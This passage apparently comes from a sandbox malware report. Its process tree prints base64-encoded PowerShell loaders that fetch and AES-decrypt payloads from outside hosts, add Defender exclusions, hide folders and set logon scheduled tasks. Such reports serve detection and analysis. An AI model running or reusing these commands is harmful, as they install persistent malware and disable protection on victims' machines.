YwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGEAbgBnAHIAeQAtAHQAbwBhAHMAdABlAHIALgBjAG8AbQA6ADQANAAzACcALAAkAGIAbwBkAHkAKQA7ACQAcgBpAHYAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMAAuAC4AMQA1AF0AOwAkAGUAbgBjAD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADEANgAuAC4AKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAtADEAKQBdADsAJABhAGUAcwAuAEkAVgA9ACQAcgBpAHYAOwAkAGQAZQBjAD0AJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAMAAsACQAZQBuAGMALgBMAGUAbgBnAHQAaAApADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAKAAkAHAAMQAgACsAIAAoACcAXABzACcAKwAnAHYAYwBoAG8AJwArACcAcwAnACsAJwB0AC4AZQAnACsAJwB4ACcAKwAnAGUAJwApACkAIAAiACQAcAAyAHQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AA==6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer7⤵
-
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File goodies.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\blargh.exeblargh.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
-
C:\Users\Admin\AppData\Local\Temp\a\fjord.exefjord.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\wobble.exewobble.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
-
C:\Users\Admin\AppData\Local\Temp\a\Y3593UGC11D2.exeY3593UGC11D2.exe4⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\geCqsSjNE\" ; Add-MpPreference -ExclusionPath \"C:\Users\""5⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\geCqsSjNE\" ; Add-MpPreference -ExclusionPath \"C:\Users\""6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\geCqsSjNE\temp_executable.exe"C:\Users\Admin\AppData\Local\geCqsSjNE\temp_executable.exe"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACIAJABsAGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE8AZgBmAGkAYwBlAEIAcgBvAGsAZQByACIAOwAkAHAAMgA9ACIAJABsAGEAXABQAGEAYwBrAGEAZwBlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAFcAaQBuAGQAbwB3AHMALgBQAGUAbwBwAGwAZQBFAHgAcABlAHIAaQBlAG4AYwBlAEgAbwBzAHQAXwBnAHcAMQBuADEAYwAyAGYAaAB5AGUAcQB5ACIAOwAkAHAAMgB0AD0AIgAkAHAAMgBcAEEAQwBcAFQAZQBtAHAAIgA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAAxACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADIAdAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADEAOwBhAHQAdAByAGkAYgAgACsAaAAgACsAcwAgACQAcAAyADsAcgBlAGcAIABhAGQAZAAgACcASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAJwBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwARQB4AGMAbAB1AHMAaQBvAG4AcwBcAFAAYQB0AGgAcwAnACAALwB2ACAAJABwADEAIAAvAGQAIAAwACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAnAEgASwBMAE0AXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABFAHgAYwBsAHUAcwBpAG8AbgBzAFwAUABhAHQAaABzACcAIAAvAHYAIAAkAHAAMgAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAJwBXAGkAbgBkAG8AdwBzAFMAeQBzAHQAZQBtAFMAZQByAHYAaQBjAGUAJwAgAC8AdAByACAAIgAkAHAAMQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwBmADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAJwBSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAFMAZQByAHYAaQBjAGUAJwAgAC8AdAByACAAIgBgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQBgACIAIAAtAEUAbQBiAGUAZABkAGkAbgBnACIAIAAvAHMAYwAgAG8AbgBsAG8AZwBvAG4AIAAvAGYAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAD0AWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAPQB7ACQAdAByAHUAZQB9ADsAJABkAGEAdABhAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGwAYQBuAGsALQBjAGEAcgByAG8AdAAuAGMAbwBtADoANAA0ADMAJwApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMAPQBbAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMAXQA6ADoAQwByAGUAYQB0AGUAKAApADsAJABhAGUAcwAuAEsAZQB5AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADEAMAA0ADEAMQA5ADYAMQA2ADkAMAA5ADQAMQA1ADEAMAA2ADgANQAwADEAOQAwADYAMgA0ADMANAA5ADEANgAnACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACcAQwBCAEMAJwA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AJwBQAEsAQwBTADcAJwA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACIAJABwADEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAIgAkAHAAMQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr ""C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe" -Embedding" /sc onlogon /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\geCqsSjNE\temp_executable.exeC:\Users\Admin\AppData\Local\geCqsSjNE\temp_executable.exe5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACIAJABsAGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE8AZgBmAGkAYwBlAEIAcgBvAGsAZQByACIAOwAkAHAAMgA9ACIAJABsAGEAXABQAGEAYwBrAGEAZwBlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAFcAaQBuAGQAbwB3AHMALgBQAGUAbwBwAGwAZQBFAHgAcABlAHIAaQBlAG4AYwBlAEgAbwBzAHQAXwBnAHcAMQBuADEAYwAyAGYAaAB5AGUAcQB5ACIAOwAkAHAAMgB0AD0AIgAkAHAAMgBcAEEAQwBcAFQAZQBtAHAAIgA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAAxACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADIAdAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADEAOwBhAHQAdAByAGkAYgAgACsAaAAgACsAcwAgACQAcAAyADsAcgBlAGcAIABhAGQAZAAgACcASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAJwBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwARQB4AGMAbAB1AHMAaQBvAG4AcwBcAFAAYQB0AGgAcwAnACAALwB2ACAAJABwADEAIAAvAGQAIAAwACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAnAEgASwBMAE0AXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABFAHgAYwBsAHUAcwBpAG8AbgBzAFwAUABhAHQAaABzACcAIAAvAHYAIAAkAHAAMgAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAJwBXAGkAbgBkAG8AdwBzAFMAeQBzAHQAZQBtAFMAZQByAHYAaQBjAGUAJwAgAC8AdAByACAAIgAkAHAAMQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwBmADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAJwBSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAFMAZQByAHYAaQBjAGUAJwAgAC8AdAByACAAIgBgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQBgACIAIAAtAEUAbQBiAGUAZABkAGkAbgBnACIAIAAvAHMAYwAgAG8AbgBsAG8AZwBvAG4AIAAvAGYAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAD0AWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAPQB7ACQAdAByAHUAZQB9ADsAJABkAGEAdABhAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGwAYQBuAGsALQBjAGEAcgByAG8AdAAuAGMAbwBtADoANAA0ADMAJwApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMAPQBbAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMAXQA6ADoAQwByAGUAYQB0AGUAKAApADsAJABhAGUAcwAuAEsAZQB5AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADEAMAA0ADEAMQA5ADYAMQA2ADkAMAA5ADQAMQA1ADEAMAA2ADgANQAwADEAOQAwADYAMgA0ADMANAA5ADEANgAnACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACcAQwBCAEMAJwA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AJwBQAEsAQwBTADcAJwA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACIAJABwADEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAIgAkAHAAMQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /d 0 /f /reg:647⤵
-
-
